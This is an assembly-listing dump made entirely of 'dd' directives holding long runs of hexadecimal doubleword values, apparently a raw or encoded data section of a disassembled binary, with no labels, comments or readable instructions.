		dd 204BEBEEh, 76B5F750h, 0A44249C7h, 8D25BE4Ch,	489F9886h
		dd 41F7821Eh, 0CF991C1Ah, 7212689h, 0B72CA693h,	1499146Ah
		dd 91093016h, 803E3430h, 5E1640A1h, 9E31784h, 0E56B9821h
		dd 0A5F38B42h, 40F9FEE2h, 0F9304AEBh, 1715C506h, 6CB4827Eh
		dd 2DB859F7h, 978EB65Fh
		dd 1870C0F6h, 87434277h, 519F7F1Ah, 62202884h, 7651E63Ch
		dd 4BE2809h, 5B2DF266h,	9861BF56h, 0FE623DA8h, 0FF044612h
		dd 0D2C5C68Bh, 2448027Eh, 1C46C681h, 1DA6F8B0h,	84F7B058h
		dd 21855553h, 0DB331447h, 0C3BBED25h, 364B793Eh, 497D89B4h
		dd 0AC963371h, 0C8B62736h, 97BE8DE6h, 39993FC5h, 0C48E0376h
		dd 2AFB895Dh, 9E0A5EFCh, 2C910628h, 486CED4Fh, 12EE5E35h
		dd 21DD50E5h, 88403422h, 4006A120h, 79374242h, 0B68D8589h
		dd 1F350B38h, 0F4D84C57h, 8B5F131Eh, 7C8DAEC5h,	0EE3C8A04h
		dd 931FF0Ch, 3D46E26Bh,	43019559h, 0F9E0E2BEh, 0EA7D69C2h
		dd 819842B8h, 0BEFC5DC6h, 0F146884Ch, 7081F30h,	0FF851A75h
		dd 3E39627Eh, 0F8FD9D62h, 537398A4h, 194D4912h,	104BFC29h
		dd 206C1143h, 0A648CF26h, 6C0569EEh, 0F1CE27B9h, 61543B11h
		dd 40713073h, 27C18128h, 6850F9ECh, 3FD9E926h, 2248D2D2h
		dd 153B5D31h, 21115273h, 1622422Bh, 0C2AC0D5Eh,	4BD14B08h
		dd 0FD24D992h, 0E8A90D6Bh, 5E96291Bh, 4BE99DE5h, 39C657FEh
		dd 0C81D7E3Fh, 761CA2A7h, 77408862h, 864D3B28h,	1AEB861Eh
		dd 0C81F8C2Dh, 6A642838h, 7052A734h, 0ED59E591h, 0BB4F657Ch
		dd 6B5C472Ch, 19DFD362h, 0D1DE33FCh, 88898998h,	0C2DC813h
		dd 763B7D28h, 90300C21h, 0BD38C834h, 0BEB091FCh, 60275B42h
		dd 2328B63Dh, 40E8A17h,	0EB5A7483h, 28B7F51Fh, 12E70C27h
		dd 4CE0D2E7h, 0EA2AF980h, 3F0ACB2Eh, 5B4D78AFh,	3AEF010Ah
		dd 516378CAh, 40837F5Fh, 460A2D8Dh, 5289B111h, 0E6FF4C99h
		dd 0C45C9504h, 0C8F33134h, 0C14D02Bh, 0EB47464Eh, 3FEEA048h
		dd 5F0B282Ah, 0F0101D54h, 2E120BA1h, 0D35F6A13h, 0B5F0AD3h
		dd 0C1F40552h, 12C8D202h, 59B6A327h, 6FF74D10h,	210A802Ah
		dd 3B58F87Dh, 0B95D3980h, 4106750Dh, 0ACAF70Ch,	2C031163h
		dd 0FB80198Ah, 396C325Dh, 9634C2Dh, 1C3F3DCBh, 8A2C0B2Dh
		dd 711C0741h, 0FF49C03Eh, 37DC83Ah, 745D3C1Fh, 3EBE391Bh
		dd 0AFFC165Fh, 0F88AF473h, 7CD91D3Ah, 7FD80617h, 8906A813h
		dd 0CEB5F32h, 3AC0E7FBh, 3752518h, 2E0255E9h, 8C822550h
		dd 98F8A2A6h, 8BD2C22Bh, 37602BC8h, 0B2F93BF9h,	5EFF51C4h
		dd 74C99349h, 25D6528Ch, 43D8AE8Dh, 0E54CBFFh, 0A00B1809h
		dd 1C8B015Dh, 2D22098Ah, 0EB810A20h, 0B415B010h, 0A4078940h
		dd 0E0EB3B20h, 37EAA378h, 0B41E042Eh, 88A01F5h,	19F1CB3Ah
		dd 253816E0h, 4BA6741Ah, 0B6F1D6Fh, 3119C94Eh, 0F1206005h
		dd 62E81336h, 754761FEh, 0B107F53Ch, 108A3A62h,	787FBCA8h
		dd 338A9174h, 5CBD312h,	0E8EBB91Bh, 11F12834h, 7D324530h
		dd 2D05CB10h, 0AC30AE29h, 20C45175h, 0F8B50DD9h, 0F4CAAE0Ch
		dd 0AAA40C4Ch, 0E658B8B2h, 2492EA92h, 10B641E0h, 42EC4488h
		dd 0FF60A4ADh, 0E426AFFDh, 0AC7F9768h, 0BE2821A7h, 8BE44D81h
		dd 870878F0h, 2080E064h, 4F0DEB03h, 0F32D444Bh,	2F8FF526h
		dd 8A611812h, 0CB3568A3h, 644A1E9h, 0DBFD9383h,	0EB058303h
		dd 1644449Eh, 10F81BC1h, 5C1A9E25h, 7703CCC3h, 0F894C2F8h
		dd 670A8593h, 8A1AAB47h, 0F954A074h, 0E04FA83h,	0D9F72D72h
		dd 7403E1E3h, 88D12BF8h, 49470704h, 8885FA75h, 64FCB2BBh
		dd 0CA43100Fh, 0C01E283h, 67402E9h, 77BBABF3h, 594A4964h
		dd 7F565F7Fh, 890186B8h, 0AA2557DEh, 104DC889h,	80FB3170h
		dd 0C603D172h, 0F576FE3Bh, 240FD120h, 84077882h, 0A403C7F7h
		dd 99DB145Fh, 8F998A5h,	1294A72h, 389524E1h, 354A3B3Ah
		dd 830A1DBAh, 0C1D8EE9h, 30FEE05Eh, 508530C8h, 0E198339h
		dd 903F488Dh, 0E2CC119Fh, 8C0B6066h, 23B04409h,	8D8AD12Ah
		dd 14A46E8h, 28393EFh, 0B412AF6Ch, 52C781C6h, 2916CC5Dh
		dd 482C498Dh, 0DA41BB26h, 0A688300Fh, 24489059h, 4745CA46h
		dd 408C141Ah, 0F322FE3h, 2414091Ch, 9504480Ch, 0F43284FCh
		dd 92AEC09h, 89E48E07h,	114C8F47h, 48A48BE8h, 0F044BAECh
		dd 0F448A48Bh, 8BF844BAh, 0BAFC48A4h, 0B8048D1Ch, 0F0030363h
		dd 0A45F892h, 32F1523Ch, 245C0950h, 304B5270h, 900A255Eh
		dd 0C399E24h, 120DFA19h, 0E6DA415h, 2C600B54h, 0C731748Dh
		dd 49397CD0h, 0E248039h, 0E4FD0D14h, 0D0F1FC31h, 621093Bh
		dd 0DD806653h, 9028F035h, 2B428CF9h, 0C43AD810h, 0E84C3BD0h
		dd 13CD0819h, 0DC920930h, 0E03B1B03h, 0B3284EABh, 0B643574Fh
		dd 203A98DAh, 0EE64A49Ch, 7E8CEF06h, 942AA58Ch,	4BB62890h
		dd 0EE14ACA7h, 0AFEF29ACh, 5A164624h, 0A35C1D51h, 8C0F3284h
		dd 9C249409h, 0AC91A448h, 0C745B422h, 2E1C6852h, 17181199h
		dd 74149148h, 48171089h, 89740C91h, 91481708h, 98937404h
		dd 0E0C620CAh, 9E8640Dh, 3C0C44F8h, 0B841988Fh,	883DB615h
		dd 84791015h, 0B856140Eh, 5201CCCAh, 1004A069h,	91C2F708h
		dd 73C9FA8h, 60013A02h,	74C00A2Eh, 61672678h, 0E4972512h
		dd 0E8C11D90h, 5C799010h, 2B64C702h, 3F030F11h,	4C18387h
		dd 363DC237h, 0A044D2E9h, 0B0D0D4C6h, 0E0D11D8Ch, 96CCE440h
		dd 6F7F2C2h, 42028A14h,	41E9338Bh, 287DE063h, 66A83684h
		dd 5C8168B2h, 11CA12D2h, 5C113C9h, 8CEB0296h, 359069CCh
		dd 109010E3h, 0DC3C80Bh, 0B09750Ch, 0E1F70421h,	53B006DFh
		dd 0A3D8F80Ch, 0A164F31Eh, 0A490314h, 50D34060h, 9F551B5Bh
		dd 83401EF4h, 0B879BC3Dh, 7E011C7Fh, 7B6490Fh, 5F884FDEh
		dd 0AC08252Bh, 0D8B050Fh, 8A9AD0B0h, 58984104h,	4380084Bh
		dd 67EB4703h, 6F372CD2h, 8B2DFEC1h, 8505F9EEh, 4752B0Eh
		dd 0DB331005h, 5F0C4462h, 481E1CC9h, 0A1520B41h, 0E970203Dh
		dd 0A8410D12h, 465CCC9Bh, 0EB31D050h, 0FD83CF18h, 1375C386h
		dd 0BED8F702h, 0A4EB74D4h, 0DEED6CCDh, 3278950Bh, 78530C14h
		dd 8DE41A31h, 7E2814F5h, 0AE03C1D7h, 0B8772922h, 0D521427Ch
		dd 14C8820h, 8A565357h,	8F526B11h, 0D169BCC3h, 0F6DD0171h
		dd 0F7FD4FDDh, 0B07A35A8h, 0D0383E4Ah, 0A5841594h, 20990B2Ch
		dd 750A400Bh, 5B5EF509h, 11A7285Fh, 0EB43F01Fh,	0D0FF7E8Dh
		dd 90840261h, 22286B7Ch, 0E0389220h, 41F2C475h,	18650367h
		dd 86AF6675h, 0DFF4233Eh, 60B1EB36h, 0C28A066Bh, 0FE1D53E9h
		dd 0D42250BDh, 0C728E01Bh, 3D512F06h, 8648217Ch, 81147282h
		dd 2D0C85E9h, 1850505h,	0EC731845h, 0C48BB581h,	0AC481ABAh
		dd 1440C940h, 0B0C35004h, 0C113C094h, 1186103h,	40D19441h
		dd 0F175830Fh, 0D00D4805h, 0FFBA0107h, 37E10FEh, 0F04C83D0h
		dd 5AC2264Ch, 7D1CA992h, 8374814Bh, 2AFC41CCh, 6BA83259h
		dd 20C2424h, 0FDB137Ch,	2FC0F410h, 0FF418DCDh, 0C12B5640h
		dd 0FE14C8C3h, 230BFD59h, 35FF81FCh, 0AF742284h, 71F58867h
		dd 0C3184628h, 0E0327C83h, 0A5224877h, 2D271CCDh, 39161377h
		dd 10744A45h, 29A31444h, 2F4ADE62h, 6DB04EDAh, 0ECC3526h
		dd 820B7789h, 912D730Bh, 0F6D51C1Bh, 5E24493Dh,	0C90F1C3Bh
		dd 40FFF0E6h, 628035F0h, 4415CD38h, 5E5253F0h, 0A466D36h
		dd 9BEB649Ah, 0A0411D5h, 2A400A6Fh, 0A3E4D80h, 0A748212Fh
		dd 6BF70192h, 0B21D8C9Dh, 67687036h, 3C64DCE8h,	36C2DD18h
		dd 0B3EE6B59h, 6651B00Eh, 7FF03225h, 0DD003D0Ah, 0A75241Ch
		dd 3B86E855h, 7E96B956h, 0D55DA12Dh, 900AA61Ah,	535D2319h
		dd 6A418EB0h, 765EE80Bh, 0EB1747E3h, 2D0ABE70h,	3F6E4A92h
		dd 0DC0F6298h, 0C4685B05h
		dd 1F2926E0h, 0E4E53186h, 0E8183DEBh, 5D533AF6h, 0DD2CDCF8h
		dd 0DF5FB0DCh, 75329EE0h, 1952810Eh, 0F62210F8h, 75201AC3h
		dd 3F3E19EDh, 57E81015h, 6B9E7D72h, 551324BEh, 6FE4B1BAh
		dd 7B2508A3h, 15878AFDh, 11C3E2DBh, 828159B8h, 0EC05C7F4h
		dd 0EEDF837Ah, 0A3141B7Dh, 1E2213E8h, 7E5428F0h, 94F44419h
		dd 0F814228Bh, 0A3293C63h, 0C31327FCh, 0BA03E01Bh, 7DD99BF4h
		dd 43C3A5FEh, 0CC80A945h, 3F92B86Eh, 8C6DB9FCh,	0CF47DDFh
		dd 0B926DDFEh, 0C9F85589h, 88104915h, 7A3B9384h, 0A03A4779h
		dd 432DE80Ch, 3B498433h, 620CC82Ah, 881D39ADh, 11553B09h
		dd 330E100Ch, 2E81A3B5h, 838E3357h, 3DF075C0h, 2D1D2C64h
		dd 0A3950367h, 0D26E085Ah, 0EA634CEBh, 5AFF0850h, 0C2E647E0h
		dd 59580008h, 24680487h, 116A071Ch, 0A16457E1h,	5B72E6C2h
		dd 301603F8h, 6A824142h, 976F9256h, 0A1FE68D1h,	40F9CC2Fh
		dd 3E0C62D3h, 0F141D04Dh, 0B89F2E49h, 0FAD437F8h, 0AC5DA173h
		dd 0A10466CDh, 308EFC55h, 2DA501Eh, 37515F89h, 753F52E2h
		dd 0D9C3DC1Ah, 0DCAC676Eh, 8DBBE5D2h, 0C691EA78h, 0AC2FE765h
		dd 0F474C14Dh, 4E6135ADh, 408A53E1h, 0CE684DF3h, 0EC51A19Ah
		dd 0FFCC083Bh, 0A231E123h, 0B7A05118h, 0C84644A2h, 0F8EC68CAh
		dd 1B8DC1E4h, 0A9B9527Bh, 0F8703720h, 6BB80834h, 8418109Ah
		dd 86863ECEh, 0AF345579h, 30D8F29Ch, 43BADCE0h,	18923A9Ch
		dd 0C90868Dh, 411C20E4h, 52AF16E8h, 6AF06537h, 4409F446h
		dd 5FC4FCF8h, 894D8CF0h, 0F86DCC26h, 0D8109EA5h, 44B18573h
		dd 862601CCh, 3BD3BB4Bh, 0D40C1910h, 0AD50128Dh, 4DE5DA21h
		dd 0EA51FAA4h, 0AECC9492h, 17F181F5h, 57D4BC22h, 0EB63D821h
		dd 915C7E09h, 0E7CC45CDh, 6A6052A8h, 8384918Dh,	6AB066E0h
		dd 0BE34960Fh, 5E012491h, 0A4D304Dh, 54EC23A0h,	86100614h
		dd 17D500ACh, 3DCBC403h, 78EC2336h, 755E2470h, 44AE0094h
		dd 12FDEDDCh, 0B11C3333h, 0B3EF206Bh, 0EF9F4A18h, 26951A64h
		dd 5785E0AAh, 77993FBCh, 9A895F44h, 1F5489C6h, 83397C40h
		dd 578C2FEh, 85441BE8h,	4E104D00h, 39B6048Dh, 18834F4Ch
		dd 3B055EA6h, 7E08481Dh, 0C521F68h, 0A44D26F6h,	48076B4Dh
		dd 8024CA36h, 1A144DC5h, 0C318946h, 3B017280h, 773A0C47h
		dd 76F09804h, 8345D390h, 85F0896Dh, 8DCCF013h, 0FA69F267h
		dd 0C46817ADh, 0BBD3FF44h, 269FEBE8h, 44425D4Ah, 0C930F8E5h
		dd 69585F7h, 0E4B8FF49h, 0FB0F4E5Ah, 72041435h,	0D3A5B802h
		dd 27675B2Eh, 0FE6A50F8h, 83CC6834h, 9A0FA6ABh,	58088635h
		dd 0DE19A260h, 0E12E929Bh, 28B0C7E9h, 7606348Dh, 89B30C8Bh
		dd 48E281B4h, 927C309Eh, 12240904h, 2E8188DFh, 40FC663Eh
		dd 54FF306Fh, 64C3EB12h, 4F058F38h, 8D1424CDh, 0C65031B8h
		dd 8114840Dh, 54690479h, 0FAA15172h, 0D939CD52h, 4D05ED08h
		dd 0B28B079Ch, 76E88CBBh, 9A60AEBh, 4B1BEF91h, 0B004CB06h
		dd 5E590C6Bh, 16AD845Bh, 2628B1F0h, 9BA97750h, 0D9A65D0Ch
		dd 8D16996Ch, 3C3C5009h, 26F9BBC4h, 0FFE0BC58h,	7C471888h
		dd 88463021h, 0ACC74728h, 0B4099F8h, 0DB09476Ch, 18F0E0E5h
		dd 18D08547h, 40488D47h, 660F0F66h, 9F4E9FCh, 89E4EC44h
		dd 24D412DCh, 0E08A57CCh, 474218ECh, 3032F142h,	50243C09h
		dd 0ACE09A57h, 0CF4842B0h, 0B8AC7160h, 0B0114743h, 19C83348h
		dd 10093EE8h, 10E06EDFh, 11EA48B0h, 43AA48B0h, 0F64335Ch
		dd 7409226Ch, 89847C44h, 2494128Ch, 0E08A57A7h,	0C02058EDh
		dd 9C80DCCh, 15EC89D8h,	3EBAE0E2h, 0F6225A6Ah, 4589750Dh
		dd 1070F6E2h, 74389410h, 1441A910h, 2C0B158Bh, 901BCD59h
		dd 2BF1E80Fh, 0B0B598F2h, 65EE69Dh, 0E8523A73h,	0C0FC3F8Ah
		dd 2E864CB8h, 0DD0E7225h, 0C301A730h, 2B762FA4h, 40A319A1h
		dd 2F9C105h, 880C8D0Ah,	0C24B4689h, 83E7C0A2h, 0CD0CA305h
		dd 0ED8AC598h, 1E26FE04h, 0C348270Ah, 0E804DED1h, 0B5FCF56Fh
		dd 75013E91h, 0E8186A0Dh, 480A6B5Ah, 83628DA1h,	0A3099120h
		dd 0F5884245h, 5653A008h, 1211F466h, 0AF02708Dh, 0DCC764F1h
		dd 0A3603E8h, 16381A21h, 0EFEB8946h, 0FA1A445Eh, 0AD394883h
		dd 19024114h, 7040101Ch, 2BF67547h, 0F8D1C109h,	76D44A48h
		dd 895D2D54h, 91CD0C5h,	840F57D6h, 7D43EF56h, 22FEE310h
		dd 390ADA16h, 8522B435h, 86212998h, 0FB588ACAh,	667C1BB0h
		dd 0BE31B631h, 0A8B28032h, 4023B54Ah, 0C73B8842h, 0E9E41372h
		dd 0C10C8A9h, 65837497h, 53C3C352h, 0D6A7099Bh,	0D6F483C4h
		dd 0FED1EA97h, 98F72FDEh, 3F88324h, 0C70F747Ah,	37352C05h
		dd 0B0AE2B2Ah, 8D3A6F31h, 0C38B8C4Fh, 4F8AC089h, 8275C408h
		dd 48541530h, 0F6B0D2B7h, 39014A44h, 40B77480h,	3D6049F5h
		dd 7504C985h, 0C32B57DEh, 0BC2359AFh, 75050E01h, 72AFEB2Fh
		dd 0C55A0BADh, 0EF3B020h, 561AEB59h, 1FDA6A2Fh,	15528816h
		dd 0E8C5519Bh, 5C974883h, 530C50EDh, 77ADCF9Ch,	1F8A7420h
		dd 109778Dh, 59FC7589h,	21C3C41Eh, 44191D41h, 0C39662DDh
		dd 5511E56h, 66201EE9h,	688D9FD0h, 477CA6Dh, 50C14C5h
		dd 16DB2B1Ch, 11274B31h, 8C38FAF2h, 0A9F01A0h, 0D43A2FDDh
		dd 8FF22409h, 0CB6A7A44h, 0F8C5939h, 7419305Eh,	0A52C709h
		dd 322EEC39h, 783C0F45h, 588A0DEEh, 89089013h, 2C150F1Fh
		dd 6E750639h, 12AA5317h, 51049020h, 15EE801h, 50644651h
		dd 0F7D2333Eh, 0BF3410F0h, 37F1A903h, 0A602BD1Dh, 629A56F3h
		dd 261D1C84h, 0CBBE0FCEh, 0E230E946h, 0B0CEC85h, 8D595657h
		dd 58312C24h, 5790C723h, 4C3244Ah, 8C3EBF08h, 3768C88Bh
		dd 738D3B50h, 3BA1364Ah, 0E708EE13h, 0B772F473h, 84290CB5h
		dd 9176CAFCh, 0EB040105h, 8AAF0F09h, 9FF1031Ch,	0DCB9F813h
		dd 188A0661h, 0AF57FE9h, 0E77DED2Ch, 64DD6F6h, 4008C1F6h
		dd 0E4AEA99Dh, 82FC481Ah, 2A4DEB86h, 4BB80430h,	0CE1C757Fh
		dd 3EA20114h, 0B260E183h, 7D6C8109h, 79800234h,	5AFA9277h
		dd 7688802Ch, 14EAF627h, 9C3C014Dh, 0A43AD3E7h,	0B511193Fh
		dd 5F60A580h, 0D2F74BC1h, 30D0A362h, 0F905BBCDh, 61B402E9h
		dd 2C2CAC90h, 0D43462F8h, 0E0288F5Eh, 0AD470AD3h, 38F40274h
		dd 8C4C65EEh, 4AC1005h,	0F7E5E827h, 97566092h, 118D565Ah
		dd 0C6502549h, 9F53E89Eh, 91951AF8h, 0C181099h,	843E6D80h
		dd 4BF6104Bh, 0E29FCC22h, 22F97D53h, 7391F7AFh,	0EA19EA54h
		dd 4C053BD0h, 0F29DA722h, 2024E81Bh, 0E6242E22h, 21441E48h
		dd 1A90E248h, 0E0911488h, 7061821h, 250F10A1h, 135F45EBh
		dd 95AB7384h, 1B9C19DFh, 13020A93h, 7DE7071Ch, 0B8C0FCEh
		dd 0D482DC0Ch, 0CDD84B36h, 9C9203E8h, 753101BDh, 4343BFE0h
		dd 5F0314A5h, 5E2746A3h, 7D0512D7h, 0F6E48BF9h,	112F222h
		dd 484BE8BCh, 0EA4FF062h, 85AFF116h, 59B787B1h,	5784B259h
		dd 0C780CF83h, 6CA80C46h, 0EBB5C640h, 0E5ED3A79h, 0F93A3034h
		dd 0C6CD495Fh, 0FF110FCFh, 0D0041076h, 1813A648h, 0EB61057Dh
		dd 8C64DA12h, 0AC326A5Ch, 833C4806h, 4B34FB66h,	0C0ECBC7h
		dd 0C1F134E2h, 8BE97D47h, 0A97A0F34h, 0CFAB015Dh, 0D62BFF85h
		dd 5597F840h, 571ABD2Bh, 0EAF708A6h, 0C99201E2h, 7E9C78EFh
		dd 2187EB4Eh, 2010085Eh, 19A48AE0h, 0FE2B2A1Ch,	3B236620h
		dd 28F9F2C8h, 0C8E0272h, 5336FF57h, 2981EAE2h, 7ECCDB61h
		dd 3E012A04h, 0DF033092h
		dd 4BEBFCD2h, 1417C498h, 56A52E72h, 6431C1F9h, 0C57FBB22h
		dd 0C4C22B12h, 0D8BC2154h, 48741C4Ah, 37845C36h, 301C029h
		dd 1850EBD8h, 28BE6E5h,	28745925h, 87A70388h, 0A7E9AB43h
		dd 708CBB14h, 764CDDB8h, 111292DEh, 4E834F30h, 69EBF20Ch
		dd 3C060D04h, 2B6DB8C7h, 0EBECBE7Eh, 4D7EC8E5h,	50241125h
		dd 5FC76E36h, 84100E4Ch, 0BDBB406Ah, 55D1C964h,	0C32976E4h
		dd 0D2E901CCh, 0EB0807B9h, 6BA48D6Ah, 1197B364h, 623A57DAh
		dd 3B310F31h, 2CDE4B0Ah, 1A9123C8h, 79710E88h, 3A4B76FEh
		dd 832FEBDh, 5743FD0Ah,	1DD20A4Bh, 1960980Ch, 3011418Ah
		dd 88146452h, 0CB634717h, 0FB5378EEh, 1662A17Eh, 6A86DE68h
		dd 6CAE11F2h, 3461E164h, 270A70ECh, 9A6AC2F7h, 6B191012h
		dd 6672ADC7h, 966529Fh,	247C60Eh, 12D90D15h, 36084D88h
		dd 5DD05B7Fh, 4A6A570Ch, 0E4C0BA08h, 7AF3E07Dh,	5F0705ABh
		dd 0D2B3168Ah, 0B240CADFh, 0E8E6CF23h, 0E3D20300h, 0E005448Dh
		dd 46183108h, 2CE575E0h, 0DE164ACEh, 28155604h,	28AE3D0h
		dd 0F051CF6Ah, 525BCEA6h, 0C1E3D300h, 4C8A03EEh, 84E00435h
		dd 970774D9h, 0E842C503h, 44DA3680h, 241E5517h,	584A56B0h
		dd 26ACE0D3h, 22A175F0h, 0D8637180h, 5F4CC38Bh,	255E271Ah
		dd 564489A4h, 0E394C323h, 999060EDh, 7A0F1C4Dh,	0D96B5356h
		dd 0F7141B20h, 3EE103C6h, 0B921FD8Dh, 13753C3Ch, 0E121EB6Fh
		dd 0B4466E4Ah, 52D12574h, 751A2029h, 1E015CEBh,	0FCE38351h
		dd 21A40D74h, 4B2F3DC1h, 0A17DF375h, 0FA5E5B14h, 102A355Ah
		dd 0AC4A3B32h, 0BCBC70BBh, 3B48EE51h, 5E33D96Ch, 2956ABFAh
		dd 0C8B28829h, 428B4CAFh, 0E8168E06h, 48DEE4C6h, 0C81E912Ch
		dd 0C675C30Ch, 13D87448h, 0AA5E281h, 700E1591h,	0B6044C86h
		dd 74465445h, 0A0A6FACh, 2E60078Ah, 0EAB120F1h,	2CA4A585h
		dd 0A12CB0Dh, 6A6F01C1h, 0B51B5353h, 145DF58h, 0A29A17D7h
		dd 0EF245D06h, 3C896F19h, 380F0D4Bh, 643E4B28h,	18FB146Eh
		dd 45CF1AABh, 246D7C83h, 0C8880A8h, 0EB45FC24h,	6ACF147Bh
		dd 9608EA10h, 4C4F605h,	594C93ECh, 0F194FA4Bh, 0C41409D2h
		dd 4B28218Eh, 91B177A7h, 21F62149h, 27FF73A6h, 0CA3B9A16h
		dd 0C500F943h, 0E3FEF053h, 5F902649h, 0BBF7020Ah, 61AEF209h
		dd 0FEFDCB0Fh, 0CF34434h, 0FF468AA6h, 47753A8Eh, 74047714h
		dd 0F73271CFh, 0D65B96D1h, 0D0BA7AE3h, 0C60D8AD5h, 4C5608C2h
		dd 5E535976h, 8470711h,	0EFC7F739h, 16C7B2F1h, 1F224742h
		dd 0A211646h, 4FCF7585h, 72C4B416h, 7A0A5AC6h, 402E503h
		dd 75092E67h, 4ED33009h, 0D71C4CEBh, 7416C349h,	76635433h
		dd 0F12C2326h, 7ECBDD30h, 470D024Dh, 54D3FB2h, 0E9F38F41h
		dd 0CFBF440Fh, 22965532h, 0F6D0C80Bh, 0B32AD044h, 0B28C996h
		dd 89A9E944h, 50D0008h,	34025788h, 9B1B6510h, 55705290h
		dd 83654067h, 6890FFC9h, 3694148h, 0C458A4Fh, 47140BFDh
		dd 0C3F90738h, 0FE090217h, 0C22254FCh, 9BD23D83h, 75B1C8B5h
		dd 595E9D1Dh, 8C0F4183h, 12F167AAh, 0A18F925Ah,	2D20C010h
		dd 409199E9h, 27EF2E08h, 0DF3B4093h, 25137D5Eh,	9DD13539h
		dd 0B82B0B7Eh, 911327CFh, 0C73D0A9Ch, 0C6235882h, 49A04C50h
		dd 655BEBC3h, 16142C36h, 0B08F8C1h, 3166C8CAh, 0A65CCF3h
		dd 88028AC6h, 1C5DE6D8h, 0F7EB5809h, 141A6E1Eh,	6AC61341h
		dd 82BA8716h, 54090313h, 2D66A493h, 0B5E83410h,	36E74A5Bh
		dd 0C63BAE0Bh, 458E3F8Ch, 66B2FC48h, 0D708FD0Dh, 0B6DE05Ah
		dd 5DD929E9h, 5D53E290h, 0B0B35A5h, 857A1885h, 610C19C9h
		dd 266FF148h, 0C2620C6Dh, 7650EB18h, 355C198Fh,	16070454h
		dd 0DB27E9D1h, 0D860EA47h, 1A75C90Bh, 38F3F7F4h, 91989DDCh
		dd 0C03100Bh, 3B0E72D1h, 86C774Bh, 0F0765311h, 666F922Bh
		dd 1114241Bh, 0AFC214FDh, 837FE1DAh, 0C1BD85D3h, 568C8046h
		dd 81AE18AFh, 86101444h, 618BD852h, 41EBD311h, 3495814Dh
		dd 81919F54h, 1826F0F2h, 0F2C58B45h, 1084B9E6h,	0C200712h
		dd 9A4E0176h, 5EC62804h, 0ED54B573h, 6A3AF4C9h,	0A5541C8Ah
		dd 1F89E80h, 211D7259h,	3A857B80h, 5C951B75h, 1024C7A8h
		dd 1691206Eh, 314F9BE8h, 0F76680AEh, 848C4383h,	2D69F3ADh
		dd 7AA6E303h, 3BDDE182h, 0B9BEA624h, 0A9F0AF64h, 0AF8A6524h
		dd 82F6D181h, 182A3761h, 0EB40480Dh, 0F9801A09h, 0A9B92E2Fh
		dd 862F5C5Ch, 4A0B752Eh, 8D0685A0h, 8401482Fh, 49AF4015h
		dd 23E3CF13h, 27687359h, 98B3F22Ah, 0FB2B0968h,	0E8C3FE3Bh
		dd 0E49413A5h, 4F452001h, 0E221EB2Ah, 643F0724h, 178256F8h
		dd 82A3100Fh, 7D242131h, 4C7781FCh, 4872FB3Bh, 3F46F938h
		dd 0E1E814C1h, 1EE2094Eh, 61187D31h, 86442B44h,	2D731383h
		dd 91F2F04Eh, 0BAE8570Ah, 24C3E14Eh, 28EB813Eh,	0A144691h
		dd 22C32B17h, 43405366h, 1888999Ah, 0DE2AFD5Dh,	79DF6B5Dh
		dd 0ADBA48E8h, 0AEE44B13h, 0CAE86970h, 0E437BD08h, 59079808h
		dd 8DC2453h, 8556550Bh,	0F5405DBh, 37CDB4AAh, 3FF1E777h
		dd 8B8D94A8h, 0BB93441Fh, 1497014Ah, 0EA458427h, 4B80BF57h
		dd 0FB870FE0h, 783217B1h, 0D74FA511h, 0EFC16A42h, 0BEB9158Ch
		dd 2C3448Ah, 1968E855h,	5FA600D3h, 29EBFB04h, 14A2D581h
		dd 6EF85990h, 0FC43E2CDh, 72ED8448h, 1B50111Dh,	79BCE0AAh
		dd 54114263h, 2BE70F0Bh, 0F7E6C156h, 8DDD8EF6h,	6264C4E3h
		dd 1FEB3011h, 531440ADh, 3A58A241h, 50C144C2h, 14CD0984h
		dd 101A9D41h, 0CDEAEC2Ah, 0E9C88C1Dh, 0A90BD611h, 5B5D16CAh
		dd 0EF4F58DFh, 4B78005Ah, 0D9DFDA41h, 0ECCD1058h, 4EFE8E07h
		dd 0E1810C06h, 5BC90108h, 22563129h, 0FB59603Bh, 0F86956B6h
		dd 0E8360D28h, 69D4DFAEh, 9D2BCF55h, 0EB087DC0h, 835D3B46h
		dd 0E86ED5ACh, 3EE91104h, 6B997989h, 68F7310Dh,	2BFBC264h
		dd 0ED1750FAh, 0DCA04354h, 5A4C43F7h, 1476644h,	0B8D82B04h
		dd 0A43E2D48h, 27C829A0h, 0EBE4D0Fh, 5CE1A727h,	8E756C59h
		dd 0A5458A2Eh, 0A6594B45h, 0A8497FB4h, 0FF4D543Eh, 0B650FA40h
		dd 6449DA7Ch, 0C7CD8AFCh, 0FBBF752Bh, 24AFE74Fh, 72F3BB43h
		dd 0A066BB4Eh, 4E2621B6h, 0C3D3C81Fh, 0F61D8081h, 0EE026B74h
		dd 645A9C16h, 3014590Dh, 0EB89F817h, 122E0BDBh,	0F25D58FBh
		dd 20F4BBFFh, 56475CD5h, 0E961696h, 1B9C839Ah, 0D8A52989h
		dd 1CAC1C65h, 1C881843h, 0C453A7ACh, 10591448h,	1AA5F21Dh
		dd 0D1C5D854h, 0D95CEB72h, 90DBC8A7h, 641CC8F1h, 8E142C18h
		dd 4F241047h, 0E2232ED1h, 25515F5Eh, 0C522674Dh, 4B3C976h
		dd 0A4F208A5h, 0D74F0B99h, 32747B80h, 2493B5A9h, 3A0E8AE8h
		dd 52750F02h, 43484746h, 1F167D00h, 5ED13817h, 14E0F45h
		dd 1579576Eh, 0A1533F3Bh, 0EDE8A7E0h, 633CE3EDh, 0E0FA824Ah
		dd 2B66905Dh, 4CA774F3h, 0FC391E27h, 4DE757B9h,	86F54410h
		dd 0CDEF2E62h, 1D20EBEAh, 41AE9702h, 5FC01B02h,	6AFFFB86h
		dd 8BC4FDC3h, 380F9016h, 0E77533CAh, 0EEBB18C8h, 0E26E0BBh
		dd 0AE255811h, 6E2CA7Ah, 0CD6A3B18h, 0C1C29E48h, 31FF428Dh
		dd 9FDE6DB6h, 2FE1F528h, 0E730048Dh, 208196D8h,	786E95C4h
		dd 8A137401h, 0D938420Ah, 0A3AD1DDh, 40135127h,	0D80BED75h
		dd 3574Eh, 785610E3h, 0BF0A2712h, 0F0F4FC13h, 9FCBFFh
		dd 0F183F940h, 9F059EFFh, 0B8C692CFh, 0C0F9698Ah, 4F1C7506h
		dd 0D30D2225h, 1EF3078Fh
		dd 8DE6998Ch, 3EC4E180h, 0EB457BC5h, 0DA02428Bh, 783674D8h
		dd 51EF78CAh, 0CE38ECDCh, 0D870E725h, 911527C8h, 1A0622DCh
		dd 5C96EBD4h, 0FEABB233h, 0FD077040h, 13FC428Ch, 93847CA1h
